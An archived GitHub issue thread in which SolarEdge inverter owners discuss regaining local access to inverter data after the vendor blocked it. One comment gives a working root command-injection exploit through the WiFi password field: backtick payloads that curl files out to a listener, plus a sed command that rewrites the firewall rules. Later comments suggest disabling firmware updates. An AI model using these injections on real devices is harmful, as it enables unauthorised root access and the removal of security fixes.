Skip to content
This repository has been archived by the owner on Nov 25, 2023. It is now read-only.

SetApp access #1

Open
jonesPD opened this issue Mar 31, 2020 · 34 comments
Open

SetApp access #1

jonesPD opened this issue Mar 31, 2020 · 34 comments

Comments

@jonesPD
Copy link
Contributor

jonesPD commented Mar 31, 2020

Hi nmakel,
Any clue how to regain access to the setapp website? When I installed the inverter two days ago, it worked, it worked yesterday too, but from this morning onwards, the page is no longer accessible. Any clue how to get back to it?
Thanks. Peter

@nmakel
Copy link
Owner

nmakel commented Apr 1, 2020

It's a bit of a mystery. The firmware contains firewall rule files which effectively block all incoming traffic over ethernet, but allows access on port 80 and 8080 via WiFi. But it's not entirely certain these are being applied (consistently). Anecdotal reports are a mixed bag: some people have never had any trouble, while others have lost access only to regain it after another update.

We don't really know what SolarEdge is doing to be honest...

@nmakel
Copy link
Owner

nmakel commented Apr 9, 2020

A quick -- closing -- update on the above issue:

Some inverters have debug mode enabled. It is currently unknown why some people have this, and others don't. It looks like SolarEdge can issue commands to inverters to enable and disable debug mode. Other clues point towards debug flags being enabled for some firmware builds and not others. As far as I know it is not possible to enable debug mode yourself. Applying updates using the SetApp utility may help, it may not.

This means that this software will only work as long as the inverter is in debug mode.

@nmakel nmakel closed this as completed Apr 9, 2020
@nmakel nmakel reopened this Apr 21, 2020
@nmakel
Copy link
Owner

nmakel commented Apr 22, 2020

SolarEdge has disabled debug mode on my device, and seems to have done so to many others, see issues here, and here.

By removing the debug mode configuration file the iptables ruleset is loaded a boot time. Therefore ports 80 and 8080 are now blocked on both the wireless and ethernet interfaces. While there are references to a "permanent" debug mode in some of the scripts in later firmware releases, it is unclear how this can be activated or under what circumstances SolarEdge would do so.

There doesn't seem to be any easy methods of getting a terminal on the device: such as serial ports or simply plugging in a keyboard. The boot loader may be an avenue worth investigating, but as I only have the one unit producing energy, I'm not inclined to mess with u-boot in the blind.

What I've done so far is place a computer with WiFi near the inverter, turned on "P" mode by switching the 0/1/P toggle to P for a second, and connected to the hotspot created by the inverter. This WiFi network is the p2p network used by the SetApp application during commissioning. The password for this network is printed on the side of your unit, and the wireless network name is provided by the SetApp application. For the moment this network seems to stay alive as long as the SetApp API is being polled, i.e., the commissioning status page is open, or the protobuffers are being requested frequently enough. Once this stops, the network disappears in less than a minute.

With a little bit of iptables redirecting I can continue to fetch inverter and optimizer data as usual.

It is unclear at this point whether the p2p interface remains up after the inverter goes into night mode. Nor is it clear whether there is a timeout that I haven't hit yet. The next step in this cat-and-mouse game is for SolarEdge to implement authentication between the SetApp webservice and the application. Let's hope that they come to understand that allowing owners access to this data is in their interest.

@maffiou
Copy link

maffiou commented Apr 22, 2020

Frustrating, my access was blocked yesterday... Thanks for the update, at least I know it's not the rest of my setup playing up...

@nmakel
Copy link
Owner

nmakel commented Apr 23, 2020

The method described in my previous comment seems to hold up. It has been running now for about 16 hours with a night in between. Once a connection is made to the p2p WiFi network it can be made to stay up by regularly requesting a protobuffer. It also seems to survive inverter reboots as the p2p WiFi is turned on as part of the startup procedure. Inverter CPU is currently 4.9.30.

Despite needing an extra piece of hardware near your inverter, this seems like a workable solution.

@tamas2001
Copy link

I confirm this works here as well with 4.8.28. (I never have debug mode)
Do you know what are the differences/news in 4.9.30?
Unfortunately solaredge support site is not (yet) provide such details (for normal customers).

Currently I am blocking access due to I am a bit afraid of any "surprise" At the same time I am curious regarding any improvements/fixes.
Is there any method to save existing firmware version and rollback if I want?

@nmakel
Copy link
Owner

nmakel commented Apr 23, 2020

Nothing too shocking, you can see the diff in the protobuf files in the repo. In the interface a few new options to set (external) power management have been added. Still no optimizer power or float voltage/amperage values.

You should be able to grab the firmware files from your phone, they're downloaded by SetApp and stored as spff files (Version_4_8_28_141843.spff for example). For iphone you can use idevicebackup2 (provided by the package libimobiledevice-utils on Ubuntu). For android I'm sure there's equivalent applications.

Updating the firmware without connecting to the internet can be done by going to port 8080 and uploading the spff file in the form. Downgrading was still possible when I was on 4.8.28. Not sure if this still works on 4.9.30.

@tamas2001
Copy link

tamas2001 commented Apr 24, 2020

Thanks a lot, these are very useful details. Unfortunately the inverter was commissioned by installer's phone so I do not have the fw version 4.8.28. Most probably when trying to use setapp again it will download the newest fw. As far as I remember there is no confirmation question regarding update, it will be done automatically.

Now I was able to forward the queried parameters towards MQTT, however the other problem is that inverter's webserver has rate limit and sometimes refuses to provide data with 429 error (too many requests) even repeating the query only for optimizers (30 pieces) in every 60 seconds. Is it known what is timeout value (no any poll/request is sent ) after the webserver disappear?

@nmakel
Copy link
Owner

nmakel commented Apr 24, 2020

I poll status (for basic inverter stats) every 10 seconds. and maintenance (for power optimizer stats) every 60 seconds. The last time I was working on the new setup the p2p network seemed to disconnect within about a minute of the last query.

You don't need to connect to the inverter for SetApp to download new firmware, it will download new firmware upon launch regardless.

@ironsm4sh
Copy link

ironsm4sh commented May 1, 2020

ALL INSTRUCTIONS BELOW ARE EXECUTED AT YOUR OWN RISK
I am running firmware 4.8.19, but it should also work on 4.8.28

Hello,
It is currently possible to open port 80 and port 8080 on the SolarEdge, this only works due to a code execution exploit that is currently in the SolarEdge's firmware.
It is important that you block the SolarEdge from netwerk access, if you don't, the ports 80 and 8080 will be blocked again next firmware update.

When you read through the SolarEdge's patchnotes, you will see the following:

Can’t connect to Wi-Fi routers with password containing the following special characters: Dollar - $, back tick - `, quote - ", or forward slash - \
Workaround: Change Wi-Fi router password to exclude these 4 characters

This means that we can execute shell scripts on the device, and it just so happens to give us full root access.
We can't get any outpur for the commands we execute, but there is a work around for that.

Using a small webserver, we can log all post requests to a console, and the SolarEdge has curl installed, so we can execute scripts, and post their commands to our webserver.
This is the webserver's code:

#!/usr/bin/env python3
"""
Very simple HTTP server in python for logging requests
Usage::
    ./server.py [<port>]
"""
from http.server import BaseHTTPRequestHandler, HTTPServer
import logging

class S(BaseHTTPRequestHandler):
    def _set_response(self):
        self.send_response(200)
        self.send_header('Content-type', 'text/html')
        self.end_headers()

    def do_GET(self):
        logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
        self._set_response()
        self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))

    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        post_data = self.rfile.read(content_length)
        #logging.info("  %s",post_data.decode('utf-8'))
        print("%s"%(post_data.decode('utf-8')))

        self._set_response()
        self.wfile.write("".encode('utf-8'))
        
    def log_message(self, format, *args):
            pass
    
def run(server_class=HTTPServer, handler_class=S, port=8080):
    logging.basicConfig(level=logging.INFO)
    server_address = ('', port)
    httpd = server_class(server_address, handler_class)
    logging.info('Starting httpd...\n')
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass
    httpd.server_close()
    logging.info('Stopping httpd...\n')

if __name__ == '__main__':
    from sys import argv

    if len(argv) == 2:
        run(port=int(argv[1]))
    else:
        run()

Entering a wifi password with the following value will give us the files and folders on / as output in our webserver.

`ls -l / > /tmp/temp-output | curl -X POST --data-binary @/tmp/temp-output http://172.16.0.10:8080`

Opening port 80 and 8080

First, we want to connect a laptop to the solaredge's wifi network, this laptop will need to run the python3 webserver.
When we are connected, we want to use the SolarEdge RCE to change the firewall to open port 80 and port 8080.

We can check the current firewall rules using the following wifi password:

`curl -X POST --data-binary @/data/configs/iptables.conf http://172.16.0.10:8080`

They should look like this:

*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j DROP
-A INPUT -p tcp -m tcp --dport 8080 -j DROP
COMMIT

We can open port 80 and port 8080 using the following wifi password:

`sed 's/DROP/ACCEPT/' /data/configs/iptables.conf -i`

They should now look like this:

*filter
:INPUT ACCEPT [49:2926]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [46:2692]
# Allow loopback (All reverse SSH traffic)
-I INPUT 1 -i lo -j ACCEPT
# Allow WiFi AP traffic over 80 & 8080
-A INPUT -i p2p0 -p tcp --dport 80 -j ACCEPT
-A INPUT -i p2p0 -p tcp --dport 8080 -j ACCEPT
# Drop any traffic to port 80 & 8080
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 8080 -j ACCEPT
COMMIT

When you restart the solar edge, you should find port 80 and 8080 working again.

Block the solar edge from the internet
If you don't do this, the RCE will get patched and port 80 and 8080 will be closed next firmware update.

@nmakel
Copy link
Owner

nmakel commented May 1, 2020

Confirmed working on 4.9.30. Nice find!

@jonesPD
Copy link
Contributor Author

jonesPD commented May 1, 2020 via email

@nmakel
Copy link
Owner

nmakel commented May 2, 2020

The inverter talks to SolarEdge over https, and in the past I've only seen the one connection. Through this channel it sends telemetry for the monitoring portal, and receives messages from SolarEdge. Among these messages is the command to do a remote upgrade. As far as I can see there is no way through the network to block one without blocking the other.

It should be possible to modify the software on the unit to disallow updates, but you're taking huge risks by doing so. Most of the front end, configuration and management logic is implemented in python, which can be decompiled and modified.

@tamas2001
Copy link

I confirm it works with 4.8.28!! Additionally no more [429] response. :) Thanks a lot !

@nmakel
Copy link
Owner

nmakel commented May 12, 2020

Heads up that the firmware that dropped today (4.9.33) contains a fix for the above method.

@lamlion
Copy link

lamlion commented May 28, 2020

Any clues what is the response from the web server with this new 4.9.33 firmware? Is it a http response code? If so, it should still be possible to use a sniffer to fetch the authentication packets, because the communication between setapp and the inverter is still unencrypted.

@tamas2001
Copy link

tamas2001 commented May 28, 2020

Just an idea, we could probably avoid fw upgrade to happen if we change the content of '/etc/sw-versions' file looks like this:

rootfs 4.8.28.141843
core core_v1.3.43
pmanager pmanager_v1.1.119
at91bootstrap at91bootstrap_sedg_v1.0.7
uboot u_boot_at91_sedg_v1.0.3
kernel linux_at91_sedg_v1.0.38
dtb 0.0.0

(Maybe it is just a simple check (by se) in that file to decide if fw upgrade is necessary or not.... )
To the contents coming with the fw 4.9.33/latest one.
I know this is working until any newer firmware is released...
Is there any announcement if new fw is released by se?
If we could rename/delete the 'sw-versions' file then the version check would be impossible thus no automatic fw upgrade should happen anymore...

@tamas2001
Copy link

Well, it looks like it is no so easy...

There are two main components called core and pmanager (healthcheck running for these periodically)

There is a config file for core (/data/configs/core_app_config) it contains several "version" related parameters. (eg. Major,Minor version, Upgrade timestamp, Version checksum,DSP version info etc.)

One interesting is the following

"1010": {
"name": "Inverter Version sync",
"value": 1,
"type": "uint"

I am not sure if that is set to 0 it can avoid fw upgrade or not. Maybe it is for totally different purposes. eg. Used in case having multiple inverters connected each other.
I don't know.... So no more idea sofar...

@nmakel
Copy link
Owner

nmakel commented May 28, 2020

Any clues what is the response from the web server with this new 4.9.33 firmware? Is it a http response code? If so, it should still be possible to use a sniffer to fetch the authentication packets, because the communication between setapp and the inverter is still unencrypted.

They added input string escapes for $, `, ', and " characters in the wifi SSID and password. This is done server side. I'm not running 4.9.33 so I haven't tested the actual implementation, but it's there.

@nmakel
Copy link
Owner

nmakel commented May 28, 2020

Well, it looks like it is no so easy...

There are two main components called core and pmanager (healthcheck running for these periodically)

There is a config file for core (/data/configs/core_app_config) it contains several "version" related parameters. (eg. Major,Minor version, Upgrade timestamp, Version checksum,DSP version info etc.)

One interesting is the following

"1010": {
"name": "Inverter Version sync",
"value": 1,
"type": "uint"

I am not sure if that is set to 0 it can avoid fw upgrade or not. Maybe it is for totally different purposes. eg. Used in case having multiple inverters connected each other.
I don't know.... So no more idea sofar...

Quick and dirty fix? Move or rename /usr/bin/swupdate. Without this, /root/swupgrade.sh fails. You'll probably want to modify /root/swupgrade.sh as well, otherwise the inverter may end up in an endless reboot loop. Change the root password to prevent remote SSH access, and you're pretty much done.

Modifying the python scripts in /usr/lib/python3.4/site-packages/ is a safer route, but one I haven't explored, yet.

Modifying the on device firmware is risky. There is no way to get a console to fix anything you break. Don't do this unless you're absolutely sure you want to risk bricking your inverter, cause unforeseen damage to the rest of your system, and want to skip any safety and security fixes SolarEdge provides in future updates.

@tamas2001
Copy link

Thanks for the hints! So far no time to have closer look yet and not brave enough to take the risk to brick the baby...

@analogue
Copy link

analogue commented Jun 30, 2020

Possible future SolarEdge system owner here. All the players (Enphase, APSytems, Tigo, SolarEdge, SMA) are engaged in the data lock down game in one shape or form. I'm just trying to figure out if SolarEdge has the highest chance of sustainability once access is acquired and maintained. They're pretty much the only player left that I haven't ruled out.

If I were to get a SolarEdge system, could I practically get it up and working 100% (I'm installing the system myself) with absolutely zero access to the internet. Basically, do everything via the SetApp interface and block all attempts to update firmware? In the SetApp app (Android) itself, will it attempt to upgrade firmware w/o permission? Any other things I should take into consideration? I'm pretty comfortable with all the workarounds mentioned in this thread and Linux internals - it is just the sustainability part that concerns me.

@nmakel
Copy link
Owner

nmakel commented Jul 1, 2020

Possible future SolarEdge system owner here. All the players (Enphase, APSytems, Tigo, SolarEdge, SMA) are engaged in the data lock down game in one shape or form. I'm just trying to figure out if SolarEdge has the highest chance of sustainability once access is acquired and maintained. They're pretty much the only player left that I haven't ruled out.

If I were to get a SolarEdge system, could I practically get it up and working 100% (I'm installing the system myself) with absolutely zero access to the internet. Basically, do everything via the SetApp interface and block all attempts to update firmware? In the SetApp app (Android) itself, will it attempt to upgrade firmware w/o permission? Any other things I should take into consideration? I'm pretty comfortable with all the workarounds mentioned in this thread and Linux internals - it is just the sustainability part that concerns me.

The current firmware release (4.8.28) on most people's inverters is vulnerable to the exploit discussed above. SolarEdge has already made an update available which fixes it. It's probably a gamble at this point whether a new inverter will ship from the factory with a vulnerable firmware version or not.

However, another point to consider: this generation of inverters needs to be activated, using a code printed on the side of the unit, by the SetApp utility. The SetApp utility will download the latest firmware versions before doing anything else, and will update any inverter it connects to without prompting for permission. Keeping the SetApp utility in the dark about firmware updates probably won't work: it requires internet access at some point because you need to log in with your installer account, and the actual activation quite likely does too.

As the SetApp web interface is no longer accessible, the only way to possbily attempt to exploit the vulnerability is by connecting to the inverter using the SetApp utility. If at that point there is an updated firmware available, you're out of luck. There are a few firmware releases in circulation, 4.8.28, 4.9.13 and 4.9.33. The latter contains the fix.

If this is your primary concern, buy the inverter first, root it, and then proceed with the installation of the panels.

Edit: I'm making the assumption that the web interface is disabled out of the box. This may not be the case as some users reported having access -- albeit for a short period -- at some point before being locked out. It may be that inverters are sent a lockdown command after functioning for n hours or days.

With regards to your actual question, sustainable access, sure: if you can root the thing, you own the thing. Disabling the openwrt-style swupdate process is trivial once you're on the device. SolarEdge really doesn't want you to, and is doing various things to lock their system down, nevertheless.

@rvdbreemen
Copy link

Does this mean it’s impossible to extract the encryption keys with the latest firmware? Or is the rs485 option still working?

@nmakel
Copy link
Owner

nmakel commented Aug 4, 2020

Does this mean it’s impossible to extract the encryption keys with the latest firmware? Or is the rs485 option still working?

I'm guessing that's a question better asked in jbuehl's solaredge. This project only deals with the data available through the SetApp interface.

@AndyRPH
Copy link

AndyRPH commented Aug 4, 2020

You've also got people like me, who have upgraded ware via setapp and never lost the local LAN data option. It doesn't seem to be consistently unavailable for some folks. Very strange.

@gamblor999
Copy link

gamblor999 commented Jan 26, 2022

@nmakel since my local lan was cutoff and my modbus over tcp was cut off through wifi, I have bridged the set app wifi and my local network. I currently have a crontab which requests the status proto file every 5 mins, is this enough to keep it open from your experience. Was this a reliable method for you and do you still use it?

I’m hoping to avoid using the network sniff pcap method!

and seriously if Solaredge are worried about people stuffing around with settings couldn’t they put some effort into a read only service available on port 80 …. So frustrating for people who have displays, openHAB, homeassistant etc. and then a 300 charge for their “genysis” addon Lordy. Okay enough ranting from me !

@nmakel
Copy link
Owner

nmakel commented Jan 27, 2022

@nmakel since my local lan was cutoff and my modbus over tcp was cut off through wifi, I have bridged the set app wifi and my local network. I currently have a crontab which requests the status proto file every 5 mins, is this enough to keep it open from your experience. Was this a reliable method for you and do you still use it?

I ran a similar setup for a couple of months. This method should work so long as their SetApp smartphone app works via this method. There are many ways they can make it more difficult with future firmware update (authentication, reduced timeout, encryption).

When a vulnerability was found in an earlier firmware release I took the opportunity to neuter my inverter by changing the root password and disabling any remote update functionality, and re-enabled lan SetApp access.

@gamblor999
Copy link

To keep the setapp wifi open my crontab was set for 1min with curl -s http://172.16.0.1/web/v1/status, unfortunately didnt work as after 4 or so hours it drops the wifi..... what a pain!

@dannytrigo
Copy link

Does anyone know if the wifi password workaround is still possible, and how you can set the wifi details? Via the web interface, I am locked out of the wifi credentials and it tells me to use an up to date setapp. Can I access the endpoint to set wifi directly - anyone have the API details?

Alternatively, I tried to use modbus over tcp (via ethernet), but even though the socket is listening and accepts connections, it very rarely responds. I only managed to get a few responses, usually after restarting the inverter, via a python script using pymodbus. I've also tried with the solaredge modbus integrations in home assistant but they never get any data.

@nmakel
Copy link
Owner

nmakel commented Jun 9, 2022

Does anyone know if the wifi password workaround is still possible, and how you can set the wifi details?

Not with any recent firmware versions no. What version are you on?

Via the web interface, I am locked out of the wifi credentials and it tells me to use an up to date setapp. Can I access the endpoint to set wifi directly - anyone have the API details?

How are you accessing the SetApp interface? Via a phone app? Via the wifi interface of the inverter?

Alternatively, I tried to use modbus over tcp (via ethernet), but even though the socket is listening and accepts connections, it very rarely responds. I only managed to get a few responses, usually after restarting the inverter, via a python script using pymodbus. I've also tried with the solaredge modbus integrations in home assistant but they never get any data.

Have you tried the solaredge_modbus tool?

Edit: this also sounds as if there are multiple devices trying to connect, the inverter only supports a single modbus tcp client.

@dannytrigo
Copy link

dannytrigo commented Jun 11, 2022

Thanks for the reply

Not with any recent firmware versions no. What version are you on?

CPU version 4.9.33

How are you accessing the SetApp interface? Via a phone app? Via the wifi interface of the inverter?

Using chrome on a phone connected to the inverters WiFi (initiated the connection with the mySolarEdge app and the barcode then switched to browser with its IP)

Have you tried the solaredge_modbus tool?
Edit: this also sounds as if there are multiple devices trying to connect, the inverter only supports a single modbus tcp client.

I haven’t tried that tool but will try. It should only be the home assistant integration connecting but it only manages to pull values a few times about every 50 minutes then 50 minutes of no updates, so the update frequency is worse than with the online API. I will try completely shutting down home assistant and try the tool (and/or my own client I made using pymodbus).
I was thinking my RS485 settings could be incorrect but not sure if that would affect modbus over tcp

@nmakel
Copy link
Owner

nmakel commented Jun 11, 2022

CPU version 4.9.33

If I remember correctly 4.8.28 was the last version where the wifi ssid could be used to inject commands.

@dannytrigo
Copy link

CPU version 4.9.33

If I remember correctly 4.8.28 was the last version where the wifi ssid could be used to inject commands.

Ah ok, shame 😕 I’ll have to try to fix my tcp modbus then, or just stick to the public api

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests